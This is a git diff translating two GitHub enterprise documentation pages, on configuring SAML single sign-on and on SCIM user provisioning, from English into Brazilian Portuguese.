+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring SAML single sign-on for your enterprise
-shortTitle: Configure SAML SSO
-intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).'
+title: Configurar o logon único SAML para sua empresa
+shortTitle: Configurar o SAML SSO
+intro: 'Você pode controlar e garantir acesso a recursos {% ifversion ghec %}como repositórios, problemas, e pull requests para as organizações da sua empresa{% elsif ghae %}a sua empresa em {% data variables.product.prodname_ghe_managed %}{% endif %} {% ifversion ghec %}aplicando {% elsif ghae %}configurando{% endif %} logon único SAML (SSO) por meio do seu provedor de identidade (IdP).'
 permissions: 'Enterprise owners can configure SAML SSO for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghec: '*'
@@ -22,140 +22,128 @@ redirect_from:
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO for enterprise accounts
+## Sobre o SAML SSO para contas corporativas
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+{% data reusables.saml.dotcom-saml-explanation %} Para obter mais informações, consulte "[Sobre identidade e gerenciamento de acesso com o logon único SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)".
 
 {% data reusables.saml.about-saml-enterprise-accounts %}
 
-{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+{% data reusables.saml.about-saml-access-enterprise-account %} Para obter mais informações, consulte "[Visualizar e gerenciar o acesso de SAML de um usuário à sua conta corporativa](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)".
 
 {% data reusables.scim.enterprise-account-scim %}
 
 {% elsif ghae %}
 
-SAML SSO allows you to centrally control and secure access to {% data variables.product.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user.
+O SAML SSO permite que você controle centralmente e proteja o acesso ao {% data variables.product.product_location %} a partir do seu IdP SAML. Quando um usuário não autenticado visita {% data variables.product.product_location %} em um navegador, {% data variables.product.product_name %} redirecionará o usuário para seu IdP do SAML para efetuar a autenticação. Depois que o usuário efetua a autenticação com sucesso com uma conta no IdP, o usuário do IdP redireciona o usuário de volta para {% data variables.product.product_location %}. {% data variables.product.product_name %} valida a resposta do seu IdP e, em seguida, concede acesso ao usuário.
 
-After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.product.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP.
+Depois que um usuário efetua a autenticação com sucesso no seu IdP, a sessão do SAML do usuário para {% data variables.product.product_location %} fica ativa no navegador por 24 horas. Depois de 24 horas, o usuário deve efetuar a autenticação novamente com o seu IdP.
 
 {% data reusables.saml.assert-the-administrator-attribute %}
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %} Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
 {% endif %}
 
-## Supported identity providers
+## Provedores de identidade compatíveis
 
 {% data reusables.saml.saml-supported-idps %}
 
 {% ifversion ghec %}
 
-## Enforcing SAML single-sign on for organizations in your enterprise account
+## Aplicar o logon único SAML para organizações na sua conta corporativa
 
 {% note %}
 
-**Notes:**
+**Notas:**
 
-- When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
-- When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP.
+- Ao aplicar o logon único SAML SSO para sua empresa, a configuração corporativa substituirá todas as configurações do SAML existentes no nível da organização. {% data reusables.saml.switching-from-org-to-enterprise %} Para obter mais informações, consulte "[Alterando sua configuração do SAML de uma organização para uma conta corporativa](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)".
+- Ao aplicar o SAML SSO para uma organização, {% data variables.product.company_short %} removerá todos os integrantes da organização que não tenham efetuado a autenticação com sucesso com seu IdP do SAML. Ao exigir o SAML SSO para a sua empresa, {% data variables.product.company_short %} não irá remover os integrantes da empresa que não tenham efetuado a autenticação com sucesso com o IdP do SAML. Na próxima vez que um integrante acessar os recursos da empresa, ele deverá efetuar a autenticação com o seu IdP do SAML.
 
 {% endnote %}
 
-For more detailed information about how to enable SAML using Okta, see "[Configuring SAML single sign-on for your enterprise account using Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)."
+Para obter informações mais detalhadas sobre como habilitar o SAML usando o Okta, consulte "[Configurar o logon único SAML para a sua conta corporativa usando Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
 4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "SAML single sign-on", select **Require SAML authentication**.
-  ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
-6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
-7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under **Public Certificate**, paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
-11. Click **Save**.
+5. Em "Logon único SAML", selecione **Exigir autenticação do SAML**. ![Caixa de seleção para habilitar SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
+6. No campo **Sign on URL** (URL de logon), digite o ponto de extremidade HTTPS do seu IdP para solicitações de logon único. Esse valor está disponível na configuração do IdP. ![Campo referente à URL para a qual os integrantes serão encaminhados ao entrarem](/assets/images/help/saml/saml_sign_on_url_business.png)
+7. Opcionalmente, no campo **Emissor**, digite a URL do emissor do SAML para verificar a autenticidade das mensagens enviadas. ![Campo referente ao nome do emissor de SAML](/assets/images/help/saml/saml_issuer.png)
+8. Em **Public Certificate** (Certificado público), cole um certificado para verificar as respostas de SAML. ![Campo referente ao certificado público do seu provedor de identidade](/assets/images/help/saml/saml_public_certificate.png)
+9. Para verificar a integridade das solicitações do emissor de SAML, clique em {% octicon "pencil" aria-label="The edit icon" %}. Em seguida, no menu suspenso "Método de assinatura" e "Método de resumo", escolha o algoritmo de hashing usado pelo seu emissor do SAML. ![Menus suspensos Signature Method (Método de assinatura) e Digest Method (Método de compilação) para os algoritmos de hash usados pelo emissor de SAML](/assets/images/help/saml/saml_hashing_method.png)
+10. Antes de habilitar o SAML SSO para sua empresa, clique em **Test SAML configuration** (Testar configuração de SAML) para garantir que as informações que você digitou estão corretas. ![Botão para testar a configuração de SAML antes da aplicação](/assets/images/help/saml/saml_test.png)
+11. Clique em **Salvar**.
 
 {% elsif ghae %}
 
-## Enabling SAML SSO
+## Habilitar o SAML SSO
 
 {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+Os seguintes IdPs fornecem documentação sobre a configuração de do SAML SSO para {% data variables.product.product_name %}. Se seu IdP não estiver listado, entre em contato com seu IdP para solicitar suporte para {% data variables.product.product_name %}.
 
- | IdP | More information |
- | :- | :- |
- | Azure AD | [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)."  |
-| Okta (Beta) | To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."|
+ | IdP         | Mais informações                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+ |:----------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | Azure AD    | [Tutorial: integração do logon único (SSO) do Azure Active Directory com {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) na documentação da Microsoft. Para configurar o Azure AD para {% data variables.product.prodname_ghe_managed %}, consulte "[Configurando a autenticação e provisionamento para sua empresa usando o Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". |
+ | Okta (Beta) | Para configurar o Okta para {% data variables.product.prodname_ghe_managed %}, consulte "[Configurando a autenticação e provisionamento para sua empresa usando o Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)".                                                                                                                                                                                                                                                         |
 
-During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML Service Provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP.
+Durante a inicialização para {% data variables.product.product_name %}, você deve configurar {% data variables.product.product_name %} como um Provedor de Serviço do SAML (SP) no seu IdP. Você deve inserir vários valores únicos no seu IdP para configurar {% data variables.product.product_name %} como um SP válido.
 
-| Value | Other names | Description | Example |
-| :- | :- | :- | :- |
-| SP Entity ID | SP URL | Your top-level URL for {% data variables.product.prodname_ghe_managed %} | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code>
-| SP Assertion Consumer Service (ACS) URL | Reply URL | URL where IdP sends SAML responses | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
-| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
+| Valor                                                  | Outros nomes    | Descrição                                                                          | Exemplo                   |
+|:------------------------------------------------------ |:--------------- |:---------------------------------------------------------------------------------- |:------------------------- |
+| ID da Entidade do SP                                   | URL do SP       | Sua URL de nível superior para {% data variables.product.prodname_ghe_managed %} | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code> |
+| URL do Serviço do Consumidor de Declaração (ACS) do SP | URL de resposta | URL em que o IdP envia respostas do SAML                                           | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
+| URL de logon único (SSO) do SP                         |                 | URL em que o IdP começa com SSO                                                    | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
 
-## Editing the SAML SSO configuration
+## Editar a configuração SAML SSO
 
-If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.product.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate.
+Se os detalhes para o seu IdP forem alterados, você deverá editar a configuração SAML SSO para o {% data variables.product.product_location %}. Por exemplo, se o certificado de seu IdP expirar, você poderá editar o valor para o certificado público.
 
 {% ifversion ghae %}
 
 {% note %}
 
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
-
-{% endnote %} 
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.settings-tab %}
-{% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", type the new details for your IdP.
-  ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png)
-1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method.
-  ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
-
-    - Use the drop-down menus and choose the new signature or digest method.
-      ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
-1. To ensure that the information you've entered is correct, click **Test SAML configuration**.
-  !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
-1. Click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png)
-1. Optionally, to automatically provision and deprovision user accounts for {% data variables.product.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
-
-{% endif %}
-
-{% ifversion ghae %}
-
-## Disabling SAML SSO
-
-{% warning %}
-
-**Warning**: If you disable SAML SSO for {% data variables.product.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.product.product_location %}. SAML SSO sessions on {% data variables.product.product_location %} end after 24 hours.
-
-{% endwarning %}
-
-{% note %}
-
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+**Observação**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
 
 {% endnote %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", unselect **Enable SAML authentication**.
-  ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png)
-1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png)
+1. Em "logon único SAML", digite os novos detalhes para o seu IdP. ![Os campos de entrada de texto com detalhes de IdP para configuração SAML SSO para uma empresa](/assets/images/help/saml/ae-edit-idp-details.png)
+1. Opcionalmente, clique em {% octicon "pencil" aria-label="The edit icon" %} para configurar uma nova assinatura ou método de resumo. ![Ícone de editar para alterar a assinatura e o método de resumo](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
+
+    - Use os menus suspensos e escolha a nova assinatura ou o método de resumo. ![Menus suspensos para escolher uma nova assinatura ou método de resumo](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
+1. Para garantir que a informação inserida está correta, clique em **Testar configuração de SAML**. ![Botão "Testar configuração do SAML"](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
+1. Clique em **Salvar**. ![Botão "Salvar" para configuração do SAML SSO](/assets/images/help/saml/ae-edit-idp-details-save.png)
+1. Opcionalmente, para provisionar e desprovisionar contas de usuário automaticamente para {% data variables.product.product_location %}, reconfigure o provisionamento de usuário com SCIM. Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## Desabilitar SAML SSO
+
+{% warning %}
+
+**Aviso**: se você desabilitar o SAML SSO para {% data variables.product.product_location %}, os usuários sem sessões SAML SSO existentes não poderão entrar em {% data variables.product.product_location %}. As sessões SAML SSO em {% data variables.product.product_location %} terminam após 24 horas.
+
+{% endwarning %}
+
+{% note %}
+
+**Observação**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Em "Logon único SAML", selecione **Habilitar autenticação do SAML**. ![Caixa de seleção para "Habilitar autenticação do SAML"](/assets/images/help/saml/ae-saml-disabled.png)
+1. Para desabilitar o SAML SSO e exigir o login com a conta de usuário integrada que você criou durante a inicialização, clique em **Salvar**. ![Botão "Salvar" para configuração do SAML SSO](/assets/images/help/saml/ae-saml-disabled-save.png)
 
 {% endif %}
 
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
index 2f2984bc97..8c75c4b203 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring user provisioning for your enterprise
-shortTitle: Configuring user provisioning
-intro: 'You can configure System for Cross-domain Identity Management (SCIM) for your enterprise, which automatically provisions user accounts on {% data variables.product.product_location %} when you assign the application for {% data variables.product.product_location %} to a user on your identity provider (IdP).'
+title: Configurar o provisionamento do usuário para a sua empresa
+shortTitle: Configurar o provisionamento do usuário
+intro: 'Você pode configurar o Sistema para Gerenciamento de Identidades entre Domínios (SCIM) para sua empresa, que automaticamente fornece contas de usuário em {% data variables.product.product_location %} quando você atribuir o aplicativo para {% data variables.product.product_location %} a um usuário no seu provedor de identidade (IdP).'
 permissions: 'Enterprise owners can configure user provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,80 +15,79 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-user-provisioning-for-your-enterprise
 ---
-## About user provisioning for your enterprise
 
-{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+## Sobre provisionamento de usuários para sua empresa
 
-{% data reusables.scim.after-you-configure-saml %} For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website.
+{% data reusables.saml.ae-uses-saml-sso %} Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)".
+
+{% data reusables.scim.after-you-configure-saml %} Para obter mais informações sobre SCIM, consulte [Sistema para Gerenciamento de Identidade de Domínio Cruzado: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) no site de IETF.
 
 {% ifversion ghae %}
 
-Configuring provisioning allows your IdP to communicate with {% data variables.product.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.product.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account.
+A configuração do provisionamento permite que o seu IdP se comunique com {% data variables.product.product_location %} quando você atribuir ou cancela a atribuição do aplicativo para {% data variables.product.product_name %} a um usuário no seu IdP. Ao atribuir o aplicativo, seu IdP pedirá que {% data variables.product.product_location %} crie uma conta e enviar um e-mail de integração para o usuário. Ao desatribuir o aplicativo, o seu IdP irá comunicar-se com {% data variables.product.product_name %} para invalidar quaisquer sessões de SAML e desabilitar a conta do integrante.
 
-To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP.
+Para configurar o provisionamento para o seu negócio, você deve habilitar o provisionamento em {% data variables.product.product_name %} e, em seguida, instalar e configurar um aplicativo de provisionamento no seu IdP.
 
-The provisioning application on your IdP communicates with {% data variables.product.product_name %} via our SCIM API for enterprises. For more information, see "[GitHub Enterprise administration](/rest/reference/enterprise-admin#scim)" in the {% data variables.product.prodname_dotcom %} REST API documentation.
+O aplicativo de provisionamento no seu IdP comunica-se com {% data variables.product.product_name %} através da nossa API de SCIM para empresas. Para obter mais informações, consulte "[Administração do GitHub Enterprise](/rest/reference/enterprise-admin#scim)" na documentação da API REST de {% data variables.product.prodname_dotcom %}.
 
 {% endif %}
 
-## Supported identity providers
+## Provedores de identidade compatíveis
 
-The following IdPs are supported for SSO with {% data variables.product.prodname_ghe_managed %}:
+Os seguintes IdPs são compatíveis com SSO com {% data variables.product.prodname_ghe_managed %}:
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
 {% data reusables.github-ae.saml-idp-table %}
 
-For IdPs that support team mapping, you can assign or unassign the application for {% data variables.product.product_name %} to groups of users in your IdP. These groups are then available to organization owners and team maintainers in {% data variables.product.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+Para IdPs compatíveis com o mapeamento de equipe, você pode atribuir ou desatribuir o aplicativo de {% data variables.product.product_name %} para grupos de usuários do seu IdP. Estes grupos são disponibilizados para os proprietários da organização e mantenedores de equipe em {% data variables.product.product_location %} para mapear para equipes de {% data variables.product.product_name %}. Para obter mais informações, consulte "[Mapeando grupos do Okta nas equipes](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
-## Prerequisites
+## Pré-requisitos
 
 {% ifversion ghae %}
 
-To automatically provision and deprovision access to {% data variables.product.product_location %} from your IdP, you must first configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+Para prover e desprover automaticamente o acesso a {% data variables.product.product_location %} a partir do seu IdP, primeiro você deve configurar o SSO de SAML ao inicializar {% data variables.product.product_name %}. Para obter mais informações, consulte "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
 
-You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}.
+Você deve ter acesso administrativo no seu IdP para configurar o aplicativo para o provisionamento do usuário para {% data variables.product.product_name %}.
 
 {% endif %}
 
-## Enabling user provisioning for your enterprise
+## Habilitar provisionamento de usuários para a sua empresa
 
 {% ifversion ghae %}
 
-1. While signed into {% data variables.product.product_location %} as an enterprise owner, create a personal access token with **admin:enterprise** scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Enquanto estiver conectado {% data variables.product.product_location %} como proprietário de uma empresa, crie um token de acesso pessoal com **admin:enterprise** escopo. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
   {% note %}
 
-  **Notes**:
-    - To create the personal access token, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
-    - You'll need this personal access token to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions.
+  **Atenção**:
+    - Para criar o token de acesso pessoal, recomendamos usar a conta para o primeiro proprietário da empresa criado durante a inicialização. Para obter mais informações, consulte "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
+    - Você precisará deste token de acesso pessoal para configurar o aplicativo para o SCIM no seu IdP. Armazene o token com segurança em um gerenciador de senhas até que você precise do token novamente posteriormente nestas instruções.
 
   {% endnote %}
   {% warning %}
 
-  **Warning**: If the user account for the enterprise owner who creates the personal access token is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new personal access token and reconfigure provisioning on the IdP.
+  **Aviso**: Se a conta de usuário para o dono da empresa que cria o token de acesso pessoal está desativada ou desprovisionada, seu IdP não vai mais provisionar e desprovisionar contas de usuário a sua empresa automaticamente. Outro proprietário da empresa deve criar um novo token de acesso pessoal e reconfigurar o provisionamento no IdP.
 
   {% endwarning %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**.
-  ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png)
-1. Click **Save**.
-  ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png)
-1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP.
+1. Em "Provisionamento do Usuário do SCIM", selecione **Exigir o provisionamento do usuário do SCIM**. ![Caixa de seleção para "Exigir o provisionamento do usuário do SCIM" nas configurações de segurança das empresas](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png)
+1. Clique em **Salvar**. ![Salvar botão em "Exigir o provisionamento do usuário SCIM" nas configurações de segurança da empresa](/assets/images/help/enterprises/settings-scim-save.png)
+1. Configurar provisionamento de usuário no aplicativo para {% data variables.product.product_name %} no seu IdP.
 
-  The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+  Os seguintes IdPs fornecem documentação sobre configuração de provisionamento para {% data variables.product.product_name %}. Se seu IdP não estiver listado, entre em contato com seu IdP para solicitar suporte para {% data variables.product.product_name %}.
 
-  | IdP | More information |
-  | :- | :- |
-  | Azure AD | [Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)."|
-| Okta | (beta) To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."|
+  | IdP      | Mais informações                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+  |:-------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+  | Azure AD | [Tutorial: Configurar {% data variables.product.prodname_ghe_managed %} para provisionamento automático do usuário](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) na documentação da Microsoft. Para configurar o Azure AD para {% data variables.product.prodname_ghe_managed %}, consulte "[Configurando a autenticação e provisionamento para sua empresa usando o Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". |
+  | Okta     | (beta) Para configurar o Okta para {% data variables.product.prodname_ghe_managed %}, consulte "[Configurando a autenticação e provisionamento para sua empresa usando o Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)".                                                                                                                                                                                                                                                       |
 
-  The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.product.product_location %}.
+  O aplicativo no seu IdP exige dois valores para provisionar ou desprovisionar contas de usuário em {% data variables.product.product_location %}.
 
-  | Value | Other names | Description | Example |
-  | :- | :- | :- | :- |
-  | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.prodname_ghe_managed %} | <nobr><code>{% data variables.product.api_url_pre %}/scim/v2</nobr></code> |
-  | Shared secret | Personal access token, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | Personal access token you created in step 1 |
+  | Valor              | Outros nomes                           | Descrição                                                                                                        | Exemplo                                                            |
+  |:------------------ |:-------------------------------------- |:---------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------ |
+  | URL                | URL do inquilino                       | URL para a API de provisionamento SCIM para a sua empresa em {% data variables.product.prodname_ghe_managed %} | <nobr>`{% data variables.product.api_url_pre %}/scim/v2</nobr>` |
